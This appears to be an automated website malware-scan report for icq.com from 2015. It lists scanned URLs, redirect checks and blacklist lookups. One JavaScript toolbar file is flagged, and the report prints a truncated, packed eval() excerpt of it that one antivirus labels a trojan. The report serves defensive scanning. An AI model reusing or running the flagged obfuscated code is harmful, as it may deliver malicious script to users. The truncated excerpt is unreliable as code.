New scan:

Malware Scanner report for icq.com

Malicious/Suspicious/Total urls checked
1/0/17
1 page has malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://icq.com/
HTTP/1.1 302 Found
Connection: close
Date: Mon, 27 Apr 2015 20:53:04 GMT
Location: http://www.icq.com/ru
Server: nginx/1.6.2
Content-Type: text/html; charset=iso-8859-1
clean
http://www.icq.com/ru
200 OK
Content-Length: 54561
Content-Type: text/html
clean
http://www.icq.com/cached/js/icqlanding2.js
200 OK
Content-Length: 282692
Content-Type: application/x-javascript
clean
http://icq.com//c.icq.com/assets/js/tint/partnerid.js/
404 Not Found
Content-Length: 31015
Content-Type: text/html
clean
http://icq.com/assets/js/jquery.min.js
200 OK
Content-Length: 73462
Content-Type: application/x-javascript
clean
http://icq.com/siteim/icqbar/js/partners/initbar_en.js
200 OK
Content-Length: 86804
Content-Type: application/x-javascript
clean
http://icq.com/assets/js/jquery.tools.min.js
200 OK
Content-Length: 5145
Content-Type: application/x-javascript
clean
http://icq.com/cached/js/93c533a0833db6a1d100467c40e89863.js
200 OK
Content-Length: 1161
Content-Type: application/x-javascript
clean
http://icq.com//c.icq.com/assets/js/partnerid.js?222/
404 Not Found
Content-Length: 30297
Content-Type: text/html
clean
http://icq.com//www.googleadservices.com/pagead/conversion.js/
404 Not Found
Content-Length: 31015
Content-Type: text/html
clean
http://icq.com/promo
200 OK
Content-Length: 150726
Content-Type: text/html
clean
http://icq.com/cached/js/d8b164273e549d01b118a3a3a46f8baf.js
200 OK
Content-Length: 137401
Content-Type: application/x-javascript
clean
http://icq.com//c.icq.com/assets/js/partnerid.js/
404 Not Found
Content-Length: 31015
Content-Type: text/html
clean
http://icq.com/calls/tariffs/
HTTP/1.1 302 Found
Connection: close
Date: Mon, 27 Apr 2015 20:53:08 GMT
Location: http://www.icq.com/calls/tariffs/ru
Server: nginx/1.6.2
Content-Type: text/html; charset=iso-8859-1
clean
http://www.icq.com/calls/tariffs/ru
200 OK
Content-Length: 302102
Content-Type: text/html
clean
http://www.icq.com/assets/js/jquery.min.js
200 OK
Content-Length: 73462
Content-Type: application/x-javascript
clean
http://icq.com/siteim/icqbar/js/partners/initbar_ru.js
200 OK
Content-Length: 87031
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(E(1i,1c){C 7=E(U,19){G 2y 7.fn.7o(U,19)},ds=1i.7,ds=1i.7,1a=1i.1a,9X,gv=/^[^<]*(<[\\w\\W]+>)[^>]*$|^#([\\w-]+)$/,ll=/^.[^:#\\[\\.,]*$/,jt=/\\S/,k6=/^(\
... 3076 bytes are skipped ...
vailable|reInit|appVersion|An|392cf2cd4260e5924ba4a0957cd5e2f8|vendor||Apple|opera|Version|rid|stylesheet|nomunge|replaceChild|60000|onmessage|JS_FEATURE__receiveMessage_reset|rel|PROD|parentWindow|parseFromString|getUTCDate|getUTCMonth|getUTCFullYear|getUTCHours|getUTCMinutes|E2|getUTCSeconds|strict|use|outer|inner|Height|compatMode|CSS1Compat|ADD|Sites|Boolean|Number|u0000|E1|setData|serializeToString|eval|getData|XMLSerializer|rreturn|x1f|x00|x7f|x9f|rradiocheck|SyntaxError'.split('|'),0,{}))

Antivirus reports:

Emsisoft
Android.Trojan.FakeInst.HF (B)


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: icq.com

Result:
HTTP/1.1 302 Found
Connection: close
Date: Mon, 27 Apr 2015 20:53:04 GMT
Location: http://www.icq.com/ru
Server: nginx/1.6.2
Content-Type: text/html; charset=iso-8859-1
Second query (visit from search engine):
GET / HTTP/1.1
Host: icq.com
Referer: http://www.google.com/search?q=icq.com

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=icq.com

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://icq.com/

Result: icq.com is not infected or malware details are not published yet.